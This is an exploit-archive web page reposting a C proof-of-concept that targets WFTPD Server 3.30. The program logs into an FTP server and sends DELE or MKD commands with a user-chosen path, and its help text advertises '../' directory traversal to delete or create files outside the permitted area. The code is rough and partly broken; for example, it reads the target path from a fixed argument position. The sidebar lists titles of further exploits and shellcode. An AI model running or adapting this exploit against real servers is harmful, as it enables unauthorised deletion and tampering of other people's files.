首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WFTPD Server 3.30 Multiple remote vulnerabilities(0day)
来源:vfocus.net 作者:Stefan 发布时间:2010-05-14  

#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>

#define ALOC(tip,n) (tip*)malloc(sizeof(tip)*n)
#define POCNAME "[*]WFTPD 3.30 Multiple remote vulnerabilities(0day)"
#define AUTHOR "[*]fl0 fl0w"
   typedef int i32;
   typedef char i8;
   typedef short i16;
   enum {
        True=1,
        False=0,
        Error=-1       
   };
     struct {
          i8 *USERx,
             *PASSx,
             *HOST;
          i16 PORTx;
   }def;
   i8 *USER=0,*PASS=0,*dir=0,*host_addr=0,
      sendbytes[250],recev[250];
   i16 PORT=0,option;
        i32 args(i32 argc,i8** argv){
             i32 i;
             argc--;
             for(i=1;i<argc;i++){
                 switch(argv[i][1]){
                        case 'h':
                               host_addr=argv[++i];
                               break;           
                        case 'u':
                               USER=argv[++i]; 
                               break;
                        case 'w':
                               PASS=argv[++i];
                               break;
                        case 'p':    
                               PORT=atoi(argv[++i]);                    
                               break;
                        case 'o':
                               option=atoi(argv[++i]);
                               break;      
                        default:{
                               printf("error with argument nr %d:(%s)\n",i,argv[i]);
                               return Error;
                               exit(0); 
                        }      
               }  
           }
          // printf(" %s\n %s\n %s\n %d\n %d\n %s\n",host_addr,USER,PASS,PORT,option,argv[argc]);
           return 1;
      }
        void bf_error(i8* B){
              i32 e;
             if(B==NULL)
               e=0;  
               else
                   e=1; 
        }
        void syntax(){
             i8 *help[]={"\t-h hostname",
                        "\t-u Username",
                        "\t-w watchword(password)",
                        "\t-p port(default 21)",
                        "\t-o option:",
                        "\t   1 - delete folder,files",
                        "\t   2 - make folder",
                        "\t   ../ move up 1 dir ../../ move up 2 dirs etc"
                        /*directory transversal*/
                };
                i32 i;
                size_t com=sizeof help / sizeof help[0];
                for(i=0;i<com;i++){
                   printf("%s\n",help[i]); 
               }
        }
        void defaults(){
             def.HOST="localhost";
             def.PASSx="hacker";
             def.USERx="anonymous";
             def.PORTx=21;
             //printf("%s %s %s %d",def.HOST,def.PASSx,def.USERx,def.PORTx);
        }
        i32 main(i32 argc,i8** argv){
            if(argc<3){
               printf("%s\n%s\n",POCNAME,AUTHOR);       
               printf("\tToo few arguments\n syntax is:\n");
               syntax();
               exit(0);       
            }
            args(argc,argv);
            i32 sok,
                svcon,
                sokaddr;
            printf("[*]Starting \n \t...\n");   
            struct sockaddr_in sockaddr_sok;
            sokaddr = sizeof(sockaddr_sok);
      sockaddr_sok.sin_family = AF_INET;
      sockaddr_sok.sin_addr.s_addr = inet_addr(host_addr);
      sockaddr_sok.sin_port = htons(PORT);
      sok=socket(AF_INET,SOCK_STREAM,0);
                        if(sok==-1){
                          printf("[*]FAILED SOCKET\n");
                    exit(0);
                       }
            svcon=connect(sok,(struct sockaddr*)&sockaddr_sok,sokaddr);
            i8 use[10];
            if(svcon!=-1){
               sprintf(sendbytes, "USER %s\r\n",USER);     
                       if(send(sok,sendbytes,strlen(sendbytes),0) == -1){
                          printf("User send error\n");                                       
                          shutdown(sok,1);
                          exit(0);
                       }else {
                                memset(sendbytes,0,250);
                                recv(sok,recev,sizeof(recev),0); 
                          }  
                              
               sprintf(sendbytes, "PASS %s\r\n",PASS);     
                       if(send(sok,sendbytes,strlen(sendbytes),0) == -1){
                          printf("Password send error\n");                                       
                          shutdown(sok,1);
                          exit(0);
                       }else {
                                memset(sendbytes,0,250);
                                recv(sok,recev,sizeof(recev),0); 
                                printf("%s\n",recev);
                          }                                        
               sprintf(sendbytes, "SYST\r\n");     
                       if(send(sok,sendbytes,strlen(sendbytes),0) == -1){
                          printf("Syst send error\n");                                       
                          shutdown(sok,1);
                          exit(0);
                       }else {
                                memset(sendbytes,0,250);
                                recv(sok,recev,sizeof(recev),0); 
                          }
                     if(option==1){                 
                 sprintf(sendbytes,"DELE %s\r\n",argv[11]);     
                       if(send(sok,sendbytes,strlen(sendbytes),0) == -1){
                          printf("Syst send error\n");                                       
                          shutdown(sok,1);
                          exit(0);
                       }else {
                                memset(sendbytes,0,250);
                                recv(sok,recev,sizeof(recev),0); 
                          }       
                     }else if(option==2){
                           sprintf(sendbytes,"MKD %s\r\n",argv[11]);     
                       if(send(sok,sendbytes,strlen(sendbytes),0) == -1){
                          printf("Syst send error\n");                                       
                          shutdown(sok,1);
                          exit(0);
                       }else {
                                memset(sendbytes,0,250);
                                recv(sok,recev,sizeof(recev),0); 
                        }       
                        }
            }else printf("Connect error\n");
              printf("[*]Exploit done!");
            return 0;
        }


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Invision Power Board Multiple
·Samba Multiple DoS Vulnerabili
·linux/x86 pwrite("/etc/shadow"
·win32/xp sp2 Fr Download and E
·FreeBSD 8.0-RELEASE/x86 //sbin
·Firefox 3.6.3 & Safari 4.0.5 -
·zervit Web Server v0.4 Directo
·SmallFTPD FTP Server v1.0.3 DE
·zervit Web Server v0.4 Source
·TYPSoft FTP Server v1.10 RETR
·miniwebsvr v0.0.10 Directory T
·IncrediMail (ImShExtU.dll) Act
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved